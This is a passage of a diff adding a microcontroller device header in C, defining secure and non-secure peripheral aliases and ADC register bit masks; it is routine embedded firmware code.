OTFDEC1_BASE OTFDEC1_BASE_S + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_S +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_S + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_S +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_S + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_S +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_S + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_S +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_S + + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + + + +#define USB_DRD_FS USB_DRD_FS_S +#define USB_DRD_BASE USB_DRD_BASE_S +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_S +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define AES AES_NS +#define AES_BASE AES_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SAES SAES_NS +#define SAES_BASE SAES_BASE_NS + +#define PKA PKA_NS +#define PKA_BASE PKA_BASE_NS +#define PKA_RAM_BASE PKA_RAM_BASE_NS + +#define OTFDEC1 OTFDEC1_NS +#define OTFDEC1_BASE OTFDEC1_BASE_NS + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_NS +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_NS + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_NS +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_NS + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_NS +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_NS + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_NS +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_NS + + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + + +#define USB_DRD_FS USB_DRD_FS_NS +#define USB_DRD_BASE USB_DRD_BASE_NS +#define USB_DRD_PMAADDR USB_DRD_PMAADDR_NS +#define USB_DRD_PMA_BUFF USB_DRD_PMA_BUFF_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << 